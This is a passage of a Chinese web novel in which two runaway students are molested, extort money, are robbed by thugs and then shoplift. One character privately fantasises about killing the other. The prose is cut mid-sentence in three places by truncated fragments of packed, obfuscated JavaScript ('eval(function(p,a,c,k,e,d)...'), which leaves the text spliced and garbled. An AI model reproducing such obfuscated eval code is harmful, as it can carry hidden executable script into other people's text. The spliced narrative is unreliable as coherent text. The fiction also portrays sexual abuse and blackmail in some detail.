胡爱莎打量四周,发现这里的服务区并不算大,唯一的基础设施就是一个公共厕所,根本没有其他工作人员的身影。停车场也十分空荡,只有他们一辆车停在这里。 男女公厕挨在一起,共用一个洗手池。 胡爱莎匆匆解决完生理需求,洗了手,探头看向停车场,发现车里一个人都没有,便站在公厕门口,等司机和何姆出来。 何姆仍旧没有回她的消息。 胡爱莎有些奇怪,就算她准备蹲坑,也总会拿着手机刷视频,根本不可能不回消息。 不过何姆的性格异于常人,像一个怪胎,上厕所不看手机似乎也是正常的。 胡爱莎站在公厕门口,又等了五分钟。 她忍不住朝男厕的方向大喊:“何姆,何姆!你在里面吗?” 男厕所的方向一片死寂。 一瞬间,胡爱莎头皮发麻。 无数种不可能的猜测飞速划过脑海,包括但不限于“何姆突然心脏病发作躺到了厕所冰冷的瓷砖上”、“何姆和司机打了一架后两败俱伤奄奄一息”…… 胡爱莎瞳孔放大,肾上腺素狂飙,大喊了一声“何姆”后,一脚踹开了男厕的大门。 男厕的门原本就是虚掩着的,被胡爱莎用力一踹,直接“砰”一声弹到墙上,发出一声巨响,惊动了里面的两个人。 司机和何姆都在里面,完好无损,并没有发生胡爱莎脑补的任何冲突或暴力事件。 他们两个人甚至还因为胡爱莎的暴力踹门,而下意识的神色惊慌。 唯一不正常的是,他们的裤子都松松垮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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何姆察觉到对方的视线,心里更加不舒服。他知道,许多男生就是喜欢比较彼此的长度,在这方面暗自较量,胜出的那人总是洋洋得意,有种赢得了全世界的喜悦。 何姆厌恶所有形式的冲突,自然也讨厌这样的“比较”,但很明显,他无法阻止其他人的想法。 好在何姆迅速结束了自己的小解,他拿出一张纸巾,擦了擦,准备提起裤子。 但就在这时,右侧突然伸出一只手,按住了他的裤头,并用力往下一拽。 何姆的裤子瞬间滑落到膝盖的位置。 尚未等何姆反应过来,另一只手直接握住了何姆。 令人窒息的烟味,混杂着嘴臭味扑面而来,男人一只手抱住何姆,另一只手握住弟弟,压低的声音中藏着一丝掩饰不住的猴急:“小朋友,叔叔手好冷,给我暖暖吧——” 何姆恍若雷击,被硬控在原地,身体僵直,一动不动,任凭对方摸来摸去。 在对方动作的时间,何姆脑海中乱糟糟的,他知道对方的动作肯定不正常,哪里有暖手用这里暖的? 但有生之年中,他还是第一次遇到这样的情况,根本不知道应该做出什么反应。 更重要的是,对方也没有更进一步的动作,他只是把一只手贴在何姆的肌肤上,另一只手抚摸着何姆的背部。 倘若对方动作粗暴,态度十分恶劣,何姆或许还会扯着嗓子喊救命。 然而对方没有,他只是摸一摸,暖暖手而已。 何姆也在学校上过一些安全教育普及课程,但从来没有人告诉他,面对这样的情况,他应该作出何种反应。 “小朋友,你这里真暖和,让叔叔再暖一会儿吧——”男人贴住何姆,低声道,“我只是暖一暖,你不要和你的女朋友说,好吗?” 何姆动作僵硬,点了点头。 他只能听见自己的心跳声砰砰作响,彻底丧失了思考能力,只能顺应对方的动作。 不知过了多久,男厕门口突然传来“砰”一声巨响。 厕门被胡爱莎从外面一脚踹开。 胡爱莎从天而降。 看清楚室内的一幕,胡爱莎忍不住问候了司机的全部家人,包括他那个所谓的女儿。 “你这个老登,明明年龄都一脚踏进棺材板了,居然还玩骗婚gay这一套,这个社会上居然有你这样的活体败类!你对得起你的妻子和你的女儿吗?!……”胡爱莎愤怒极了,化身机关枪炮,突突突一顿输出。 胡爱莎以手指天,一边骂着司机,一边不忘骂两句何姆—— “你也是个蠢如猪,他摸你,你就站在那儿让他摸吗?你是没长嘴还是没长腿,还是怕他手里有凶器?我告诉你,你现在忍了,自己被猥亵也就算了,还会助长这种老*登的气焰,让他祸害更多人!……” 何姆听着胡爱莎骂他的话,羞愧地低下了脑袋,他也不知道怎么回事,被摸上的一瞬间,居然失去了所有反抗的力气。 如果不是胡爱莎从天而降,他估计也不会产生任何反抗的决心。 何姆看向胡爱莎,在这一刻,他再也没有产生幻视,幻想从她的身体掏出血淋淋的内脏,而是看到的就是胡爱莎本人。 狭小的厕所间光线昏暗,味道也并不好闻。 但此时此刻,何姆能够感觉到,胡爱莎的全身似乎都在散发着一种金色的光芒。 如此炫目! 11. 壁花 正所谓吃一堑长一智。 经历过被污蔑反咬的事情后,胡爱莎终于学聪明了,破门而入的第一反应,她没有让两个人立马提起裤子,而是果断掏出手机,“咔嚓”拍下男人光屁股的照片。 在男人仓皇提裤子的时候,胡爱莎直接按下了视频录制键,记录下对方狼狈的样子。 “这里是男厕所,你怎么进来了?!”司机大声道。 “我不进来,怎么知道你这个老登在这里发*!”胡爱莎瞪眼道。 男人低声嘟囔了句什么,低头系自己的裤腰带:“我不是Gay,你误会我了,我也有自己的苦衷。” 他并不是一个同性恋,只是对年轻的少年少女有一些特殊的癖好。 但他也非常清楚,随着年龄渐长,他的鬓角头发花白,这种特殊的癖好已经是十足的异类,根本无法在生活中得到满足。 所以在条件合适的情况下,他会选择一些符合自己审美,看起来不会反抗的人下手。 他也不会进行一些过分的举动,最多只是抚摸和亲吻,连亲嘴都没有。 不过,即使经过精挑细选,这种方案也是有风险的,所以他近年来得手的次数并不算多。 “连Gay这个英文单词都知道,还说自己不是Gay,你怎么这么恶心呢?!”胡爱莎作势干呕,一把抽走男人的裤腰带,牢牢攥在自己手心。 不过随即,胡爱莎闻到,对方的裤腰带有一股难闻的尿味儿,手感也十分黏腻,让她有些想吐。 “那,那你要怎么办嘛?”男人知道胡爱莎拍了他的照片和视频,因此也不敢挑衅胡爱莎,只得忍气吞声,配合她的行为。 胡爱莎看着何姆提好裤子,整理好衣襟后,眼珠一转,拿腰带拍打对方的脸:“给我们退钱——” 男人解释道:“你们买票是在公司下单的,我这边根本没收到钱啊!” 胡爱莎怒道:“当然是私人转账!” 随即,她转头看向何姆:“何姆,把你的收款码打开!” 何姆掏出手机,打开收款码。 男人一手拎着松松垮垮的裤子,另一只手拿出手机,果断将车票费用转给何姆。 “小妹妹,车票钱我也退给你们了,你就行行好,放我一马吧!”男人用一种打商量的语气说道。 “你必须把我们送到郑州!”胡爱莎说道。 “那肯定!只是咱们抵达目的地的时候,你能不能把照片和视频删了?”男人讨好道。 何姆看向胡爱莎。 胡爱莎原本只是想要回车票钱,再顺带尝试着免费坐车到郑州的。 因为毕竟男人是面包车唯一的司机,胡爱莎和何姆都没有驾照,男人就算是决定原路返回,胡爱莎也只有干瞪眼的份儿。 但她没想到,男人居然这么好说话! 胡爱莎当即加码:“你再给我们转账五千,备注自愿赠予。” 男人不情愿道:“这么多钱……” “行,不给的话,我现在就把照片和视频发到社交平台上,在@你所在的公司,让认识你的人看看,你到底是个什么货色!”胡爱莎举着男人的皮带,威胁道。 “行行行,我真是怕了你们!”男人不再犹豫,给何姆的账户转了五千元。 听到收钱方入账的提示音,胡爱莎掩饰住内心的惊讶。 其实客观来讲,对方是完全可以反抗的。 因为男人身材高大,战力可以轻松碾压她和何姆两个人;又具备必要的开车技能,如果男人是个心狠手辣的角色,完全可以开车碾死他们。 但正如何姆没有反抗,男人面对勒索的时候也没有选择反抗。 胡爱莎意识到,原来这种人渣是个外强中干的货色。——你强他就弱,你弱他就强。 如果她没有一脚踹开厕所大门,恐怕事情的结果并不会像现在这样顺利。 三人重新回到面包车上。 “但是咱们说好了,我给了钱,再把你们送过去后,你一定要删掉视频和照片!可不能说话不算话!”男人不放心,扭头嘟囔道。 “知道了!”胡爱莎将男人的腰带用力甩到他的脸上,“好好开你的车!” 接下来的路程,只剩下两个多小时。 但面包车内的气氛非常沉默。 司机不再主动开口搭讪,甚至把背景音乐都暂停了。 胡爱莎更是不愿意搭理这种她眼中的败类人渣。 何姆从来不会主动和其他人讲话。 在这样沉默的氛围中,胡爱莎盯着车窗外,看高速路上一辆又一辆不同规格型号,但速度飞快的汽车呼啸而过。 · 很快,面包车驶出高速,进入郑州地界。 按照约定,司机将胡爱莎和何姆送到了郑州汽车客运中心。 胡爱莎刚跳下车,就发现司机也“砰”一声关上车门,跟了下来。 “你要干嘛?”胡爱莎警惕道。 “小朋友,你就行行好,把东西删了吧!”司机为难道,“你不删就走人,我总是不放心呀!” “等等——”何姆试图阻止胡爱莎。 但胡爱莎早就不耐烦和这样的人渣继续接触,她翻出手机相册,迅速删掉了照片和视频,并清空了回收站。 “你看,我都删掉了。”胡爱莎说道。 司机凑到胡爱莎身旁,确认了一番。 胡爱莎“啧”了一声,转身欲走。 但她万万没有想到,一直畏畏缩缩的司机,突然扣住了她的手腕! 不止于此,胡爱莎发现,面包车停在汽车客运站的公共停车场,但不知道什么时候,有四五个光头壮汉,正在朝他们的方向移动。 何姆早就注意到了那伙人,他反应极快,弯下腰,一口咬住男人抓住胡爱莎的手。 “啊啊啊啊——”男人吃痛松手。 “跑!”何姆拉住胡爱莎的手,大喊道。 随着他们的狂奔,那一伙光头也迅速行动起来,跑步的速度甚至比两人还要快! “就是这两个小兔崽子,趁着没人,勒索了老子五千多!”司机在后面叫骂道。 “我们分开走。”眼见对方兵分两路,从出口和入口两个方向堵人,何姆说道,“我引开他们!” “你——”胡爱莎太久没有运动,骤然这么加速狂奔,整个人又累又喘,她感觉自己心脏快要爆掉了,“你在演偶像剧吗?” “就这么定了!”何姆的眼神十分坚定。 他推开胡爱莎,转身朝另一个方向跑去。 司机见状,赶紧喊道:“钱都在那个男的手里!” 胡爱莎看到对方人马全部去追何姆,眼看双方消失在停车场的远方,她内心焦灼,但又深知她不能浪费何姆的伟大奉献。 胡爱莎打量四周,她看向客运站的红色大字,狂奔而去,准备寻求工作人员的帮助。 现在已是晚上十点,漆黑的夜幕下,客运站来往的人流并不算多。 一路狂奔的胡爱莎头发散乱,衣服皱皱巴巴,神色惊慌,瞬间吸引了所有人的注意力。 就在值班的工作人员留意到不同寻常的胡爱莎,准备出来查看时,一个身材敦实的中年妇女凭空出现,一把拽走了胡爱莎。 · 距离汽车站一街之隔的小巷。 胡爱莎和何姆被众人推到角落,围起来。 方才畏畏缩缩的司机,这时满脸横色:“就是这两个年轻的!讹了哥们一笔钱!” 他经常往返在这条线路上,在本地也认识一些能够替他撑场子的社会朋友。之前一直顾忌着胡爱莎的手机,但既然胡爱莎已经当着他的面删掉了照片和视频,他自然要找回面子! 刚才架走胡爱莎的中年妇女,堵在胡爱莎的正前面,皮笑肉不笑道:“小妹妹,你也别害怕,咱们现在是法治社会,凡事都要讲道理——你说你好端端坐着我们家车,不想付车费也就算了,为什么还要敲诈我们家司机呢?我看你年纪轻轻的,做人可不能这么做!” 在被眼前这个敦实的女人抓住的一瞬间,胡爱莎就清楚,她根本逃不掉了。 对方人多势众,一定掌握着所谓的话语权。不论胡爱莎说什么,他们都不会信的。 相比于胡爱莎,何姆看起来要更惨一些。 因为他是男生,又是收款人,即使对面的光头壮汉手下留情,不想生出额外的事端,何姆的一只眼睛也变成了“熊猫眼”。 “这样,咱们是讲道理的人。如果你把钱还给我们,我看在你们两个年纪小的份上,就不和你们计较了——”女人说道。 “转钱吧!”胡爱莎心如死灰道。 何姆拿出手机,哆嗦着给对方转账。 司机打开收款码,要回自己的钱,神色洋洋得意。 “钱的事是我们做得不对,现在钱也还给你们了,我们可以走了吧?”胡爱莎丧气道。 “想走?没那么容易!”其中一个光头壮汉喊道。 “那你们想干嘛!”胡爱莎壮着胆子道,“我一点钱都没有了,才找那个司机要钱的!而且是他有错在先,他先——” 司机咳嗽两声:“这个女的身上确实没钱,但我看这个男的像是有钱的。” “他也没钱!”胡爱莎急忙道。 “朋友,转账,会吧?”一个光头走上来,笑眯眯递过来一张银行卡,“你们千万不要害怕,咱们是文明人,真不是什么违法分子。” 何姆沉默片刻,接过银行卡,打开了自己的手机银行。 · 半小时后。 胡爱莎揉着酸痛的手腕,和何姆一同走在大街上。 她看着脸颊有淤青的何姆:“你还好吧?他们打你哪里了?” “只是皮外伤。”何姆认真道,“我会保护好自己。” 一提起保护自己,胡爱莎就感到心里一阵憋屈:“你转了多少钱?” “全部。”何姆老实道。 “什么?!”胡爱莎停住脚步,震惊道,“你是说,你把一万多块,全部转给他们了?!” 何姆解释道:“因为我怕他们会查我的手机银行,万一看到还有余额,到时候不让我们走怎么办……” 虽然在何姆转完账后,对方并没有核查何姆的转账金额,大手一挥,直接放两人离开。 胡爱莎语结了一瞬:“你只有一张卡吗?” 虽然她没有多少钱,但也有两张不同银行的储蓄卡,一张用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“表姐?”胡爱莎有些诧异,这位表姐已经工作,和她关系还算不错,小时候曾经一同去外省旅游,但随着双方年龄渐长,胡爱莎和表姐逐渐成为每逢过年时见一面的关系。 “嗯,我听我妈说了。”表姐委婉道,“你最近学习生活是遇到什么困难了吗?为什么突然要退学呀?你能告诉我,你是怎么想的吗?” 一瞬间,胡爱莎捏着手机的手在颤抖。 不用多想,她也知道,绝对是自己爸妈找的表姐作为“援军”。 “我没有别的意思,只是有问题咱们要解决,你现在这样拉黑你爸爸妈妈的电话,他们都很担心你,也解决不了任何问题……”表姐絮叨道。 “我知道了。”胡爱莎从牙缝里挤出几个字,随即挂断电话。 “谁啊?”何姆小声道。 “没有谁。”胡爱莎已经完全沉浸到自己的世界中,她冷着一张脸,将爸爸的手机号从黑名单拖出来,随即拨通了对方的电话。 电话立马接通。 不等胡父开口,胡爱莎立马道:“你不用找什么表姐、堂姐、七大姑八大姨来劝我了!你不嫌丢人,我还嫌丢人呢!” “你现在到底在哪儿?”胡父厉声道,“你是要上天不成?先是得罪了辅导员,又直接旷课逃学,还偷偷交了个男朋友!” “是,我就是要上天。”胡爱莎说着说着,眼泪不受控制流下来,“你总是这样不讲道理,从来不问我到底经历了什么!” “你能经历什么?每天只会拿着我们给你的生活费无病呻吟,成绩是一点都没有提高!你就不能学学你表姐吗?人家大学期间门门满绩,还是学生会干部,毕业就保研!我都不奢求你这种榆木脑袋能保研,你能不挂科,好好上课我就谢天谢地了!”胡父忍不住道。 “大学费用的事,我暂时没钱还给你们。”胡爱莎擦了把眼泪,冷静道,“你等我现在找份工作,就把学费和生活费逐月还给你们。” “你不上学了?!”胡父震怒道。 “是的,我打算退学,不想继续念书了。”胡爱莎说道,“这里都是一些烂人、烂事,我根本不快乐,再这么下去,我迟早——” “废物东西!你到底能做成什么?那你不如死在外面!”胡父怒骂一声,挂断了电话。 胡爱莎举着电话,还不等她反应过来。 又一个电话进来。 胡母哀婉的声音响起:“爱莎,你就不能好好和你爸说话吗?每次你们都吵得脸红脖子粗……” “妈妈,不是我不想和他沟通。”胡爱莎原本干涸的眼眶重新积蓄泪水,“是他完全不倾听我的想法!” 随着年龄渐长,胡爱莎在网上看到一些关于模范家长和小孩的示例,她逐渐意识到,自己的父母大概做得没有那么好,甚至有时候他们就是自己不自信的根源。所以渐渐地,她才会变得越来越自卑。 胡爱莎渴望着父母能够理解自己,但现实总是给她惨痛一击。 强势暴躁的父亲,软弱善良的母亲。 他们或许是天造地设的一对。 但对于一个高敏.感的子女来说,这简直就是雪上加霜的设定。 “爱莎,”胡母踌躇片刻,说道,“你爸爸也是关心你。更何况,他每天工作那么辛苦,不都是为了给你的未来攒钱吗?你总在要求你爸爸理解你,你怎么就不能当一个听话懂事的女儿呢?” 12. 壁花 胡爱莎尖叫一声,挂断电话。 在这一瞬间,她很想将手机扔到地上,然后像那些电视剧的角色一样,用力狂踩几脚,直到手机屏幕四分五裂,这样才能抒发心中的一口恶气。 然而现实只能让她迅速联想到手机四位数的价格,是她拥有最昂贵的财产之一,只能恨恨作罢。 胡爱莎悲愤到极点,居然忍不住开始自我怀疑:“或许我家里人的话是对的,我总是在过度矫情和拧巴。” 她的全部能量似乎都用到了负面情绪上,而对自我提升的“正事”没有丝毫行动。 如果她能够成为一个高能量女生,每天动力满满,或许这些烦恼就会根本不存在。 “为什么这么说?”何姆有些诧异,“每个人都在浪费时间,只是浪费的方式不同。” “浪费时间?拜托,只有我们这样的人才在浪费时间!”胡爱莎忍不住道。 “每个人的生命终点都是死亡。”何姆说道。 “是啊!但这个过程并不是公平的,当你因为贫穷被嘲笑,因为学历不高被歧视,因为籍贯被轻视……你这样不过是失败者的自我慰藉!”胡爱莎反驳道。 “那你想要什么?拥有高学历,一线城市户口,家境优渥?”何姆问道。 “我不知道我真正想要什么。”胡爱莎迷茫道,“但如果拥有你说的这些东西,恐怕我的烦恼会减少百分之九十九。” “好吧——”何姆说道。 “那你呢?你想要什么?”胡爱莎看着何姆,何姆总是一副清心寡欲的样子。 “我的理想非常简单,正常的毕业,正常的工作,正常的死亡。”何姆看着胡爱莎,默默更正,其实我只想成为一名纯血变.态。 ——杀死你。 “真好!你是什么时候找到这个目标的?”胡爱莎十分羡慕这样知足常乐的人。 “很小的时候。”何姆说道。 “你是不是觉得我很糟糕?”胡爱莎低下脑袋,“有时候,比如现在,我都觉得自己特别差劲,长相能力一般,没有自制力,行动力低下,每天就喜欢做梦……” “不会。”何姆肯定道。 “为什么?”胡爱莎猛地抬头。 “因为每个人都会这样,幻想自己不能拥有的东西,所以你根本没必要为此感到难为情。”何姆认真道,“你也有我不具备的特点,比如勇敢和热情。” 胡爱莎被夸得有些害羞。 这时,何姆的手机铃声响起。 寂静的深夜街道,手机那端的声音非常清晰,胡爱莎能听到是一个男人的声音。 男人只说了几句话,关键词包括“辅导员”、“电话通知”、“身体健康”和“是否缺钱”等。 何姆“嗯”了几声,挂断电话。 “是你爸爸吗?你们说什么了?”胡爱莎问道。 “他说阳宁打电话找他,然后又问我身体怎么样,缺不缺钱,就没了。”何姆说道。 胡爱莎羡慕这样简短平静的沟通之余,不忘抓住重点:“那你要钱了吗?” “当然,但他一般让阿姨给我转钱。”何姆认真道,“阿姨不喜欢我,所以我经常收不到钱。” 阿姨,就是何姆的继母。 在何姆刚出生不久后,何姆的父母感情破裂,母亲再也没有出现,他便跟随父亲一起生活。 何姆父亲是个商人,每天忙于应酬,很少过问何姆的日常生活。后来在何姆上小学的时候,何姆多了一位“阿姨”。 最开始的时候,阿姨也曾试图当一个温柔善良的继母,但在何姆房间的枕头下多次发现小动物腐烂的尸体后,她认为何姆是一个不折不扣的怪胎。——一个残忍冷漠,思维不正常的小孩。 随后没过多久,阿姨生下了一个弟弟,她的生活重心更是直接转移到弟弟身上。就连何姆的父亲,随着年龄增长,似乎终于意识到了天伦之乐的美妙,也逐渐回归家庭,陪伴自己的妻子和小儿子。 自始至终,何姆没有解释自己的行为,也没有争取父母的宠爱,他只是沉浸在自己的世界,在自己信奉的纯血变.态之路上越走越远。 “好吧!”胡爱莎原本以为,何姆家里会给他打一笔钱,这样就能解决两人身无分文、无处可去的窘境。但听到何姆看似冷静的转述,她内心那个名为希望的小火苗‘噗嗤’一下熄灭了。 胡爱莎往何姆的方向凑近了一些,感叹道:“我们真是各有各的不幸!” 似乎所有人的家庭都是不幸的。 这种不幸通常分为两大类,一种是破碎的家庭,父母感情不睦,要么勉强在一起,要么离婚;另一种则是强势的家庭,父母一方非常强势,一方普遍弱势,对孩子人生的某个阶段展现出惊人的控制欲。 原本胡爱莎以为,只有家庭破碎的小孩才是不幸的,失去父母的呵护,他们注定会产生心理问题。 但现在她认为,在一个强势家庭中成长,面对“自我”的觉醒,体会到的痛苦并不比家庭破碎的小孩少,甚至会因为强烈的抗争精神,导致产生更多激烈的冲突。 事实上,比较痛苦的多少是毫无意义的。胡爱莎只是突然从一个看似幸福的假象中清醒过来,意识到原来自己才是自己眼中的那个“可怜虫”,她甚至没有资格去同情其他人。 “我并不怪他们,他们只是不理解我。”何姆说道,“这很正常,本来每个人从出生起就是孤独的,不被理解的。” “是吗?可是我能理解你。”胡爱莎说道。 何姆看向胡爱莎,心想并非如此,起码他想要成为一名纯血变.态的伟大理想,胡爱莎根本不知道。 但他没有反驳,只是坐在台阶上,听胡爱莎抱怨遇到的琐碎烦恼。 他们的充电宝早已经没电,钱包空空荡荡,于是两个人互相依偎,就这么一直坐着。 直到两人的肚子不约而同发出一声闷响。 胡爱莎看向何姆:“你饿了吗?” 何姆点头:“我们应该去吃点东西。” “现在?”胡爱莎看向手机时间。 现在是凌晨三点。 自从被包车司机叫来的人反勒索后,他们身无分文,被迫流落到车站附近这个避风的角落,一坐就是大半夜。 “你有钱吗?”胡爱莎问道,她的钱早就用在了两人的车票和饭费上。 “算了,我也不是很饿。”何姆说道。 “你看,那边有一个小型便利店,二十四小时的,出口没有检测器。”胡爱莎指着街道对面的一家便利店。 那里灯火通明,透过明净的玻璃橱窗,能看到店内有一个售货员不断走动。 何姆看向胡爱莎,有些迟疑。 “我们饿着肚子,没有钱。但这样的结果并不是你我造成的,是那个黑车司机和他那些该死的同伙—— 所以,这个世界就是这么不公平,他猥亵你,还抢走了你的钱,我们愤怒,但无能为力,只能半夜坐在这个操蛋的台阶上,看着对面便利店的热包子流口水。”胡爱莎认真道。 “我明白了。”何姆沉声道。 胡爱莎露出了满意的微笑。 她就知道,何姆能明白她的意思。 · 十分钟后。 胡爱莎和何姆先后进入便利店。 在这个时间点,便利店并没有客人。 唯一的售货员是名年轻女性,她拉着补货箱,不断往货架上扫码补货。 看到何姆进店,她急忙走回柜台。 何姆表面云淡风轻,但已经不自觉同手同脚,他走到柜台处,拿起摆放的口香糖,开始仔细‘研究’,同时用身体挡住货架后的胡爱莎。 店员并没有怀疑,她耐心等待何姆的挑选。 趁着何姆拖住店员的功夫,胡爱莎迅速走到摆着面包的货架上,她努力将两袋吐司面包捏扁,然后塞到自己的裤子中。 可惜现在是夏天,如果是冬天,她应该还能再装两小盒牛奶。 而这个时候,店员看向何姆的眼神越来越疑惑,何姆终于忍不住,硬着头皮,指向保温柜的玉米,询问道:“这个多少钱?” 店员伸出三根手指。 何姆回头看胡爱莎,发现她从面包货架转移到了糖果区,自以为天衣无缝地继续偷拿。 “这个鲜肉包呢?”何姆又道。 店员伸出两根手指。 “……”何姆有些尴尬,如果不是他没钱,他真想立马付钱走人。 以及,为什么胡爱莎这么磨蹭! 何姆看向店员,露出一个标准的假笑。 店员也报以微笑。 两人就这么相顾无言,默默对视。 在何姆心中大概度过了一个世纪,实际上两分钟后,胡爱莎终于姗姗来迟,从货架走到收银台附近。 她双手插兜,姿态散漫,装作不认识何姆的样子,准备绕过他,从收银台处离开。 但从何姆的视角来看,胡爱莎简直漏洞百出——她的裤兜鼓鼓囊囊,两只手用力到捏出青筋,最要命的是,随着她的动作,何姆甚至能听到胡爱莎身上传来包装袋的摩擦声! 何姆看向店员,这样近的距离,店员肯定能听到胡爱莎的异样。 但令他意外的是,店员只是微笑看着他,放任胡爱莎大摇大摆离开。 “……”何姆难以理解。 很快,他凭借5.0的超绝视力,看到胡爱莎在道路另一侧朝他招手。 何姆迅速道:“算了,我不要了。” 正当他准备跑路时,袖子却被店员拽住。 何姆心一惊,看向店员。 其实这个店员很年轻,看上去比他们大不了几岁。 店员做了几个手势,何姆没有看懂,但并不妨碍他的大脑宕机,身体僵直在原地。 看到何姆没有动作,店员似乎更加着急,嘴里发出“啊”的音节。 何姆终于意识到,原来对方不会说话。 街道另一侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的逃学计划,似乎从开始那一刻,就注定是失败的。——其实这也不能怪她。如果没有遇到售票厅态度恶劣的售票员,她就不会听信那个黄牛票贩子的话,也不会提前在南京下车,更不会做错车到苏州,再转郑州遇到猥琐又变.态的包车司机…… 回到事情的起点,如果当初她没有怒气上头,选择忍让,那么她的生活会继续平静下去,而非现在流落街头,无处可去。 胡爱莎开始懊悔,自责,检讨自己。 随后,胡爱莎又陷入了新一轮的自卑中,产生自我厌弃的情绪。 “那个店员姐姐给了我们每个人二十元,应该是真的。”何姆递给胡爱莎一张纸钞。 胡爱莎盯着那张红色纸币,各回各家的话已经到了嘴边,却又硬生生打了个弯:“算了,我们当然不能放弃!如果你想回家的话,那么你就回去吧!联系阳宁,他肯定会借你钱的。” “你不想回家吗?”何姆问道。 “我不是不想回家,而是要和原来那个自卑懦弱的我彻底割席,明白吗?”胡爱莎严肃道,“在没有彻底与自我和解前,我是不会回到原来环境中的。” 何姆抿唇,吃着胡爱莎带出来的零食。 他为自己的不坚定感到羞愧。 在刚刚的一瞬间,他居然想要放弃自己的人生理想,选择逃回那个阴暗逼仄的外壳中。 他羡慕胡爱莎的坚定与勇气,他也要必须完成自己的人生目标。 “那我们接下来应该怎么办?”何姆问道。 “我们有手有脚,现在又是暑期档,我们完全可以找一份暑期工。”胡爱莎说道,“等赚到了工资,我们立马还这些零食的钱,然后再去见我同学!” 虽然现在还没有能力偿还,但胡爱莎看着街道对面的便利店,在内心默默发誓,这处地点已经被她标记了,等到她有能力的时候,一定会偿还这个好人姐姐的恩情! 何姆不住点头,也认为胡爱莎分析得在理。 等到天亮,饱餐一顿的两人走在街头。 这里距离大巴客运中心站并不算远,白天人流量极大,沿途不仅有高耸入云的商业建筑,许多打扮成熟的男女出入其中;也有低矮不平的平房,开着一些富有当地特色的苍蝇小馆。 胡爱莎自认无法胜任高端兼职,于是她专门盯着那些路边的苍蝇小馆,试图找到贴着“招聘”海报的小饭店或杂货铺什么的。 只是大部分小店都没有这样的海报,偶尔见到一两个,也被胡爱莎以“规模不够或许不会招两个人”、“她不想和何姆分开”为由拒绝。 又穿过一条小巷,胡爱莎走在前面,斜后方突然窜出来一个三十多岁的女人。 她拽住胡爱莎的胳膊,语速极快:“小妹妹,要不要来体验我们的免费护肤活动呀?” “……不要!”胡爱莎短暂愣了一下,随即用力挣脱对方的胳膊,加快步伐往前走。 但女人明显将胡爱莎当做一个潜在客户,缠上去道:“只要九块九,真的很划算的!”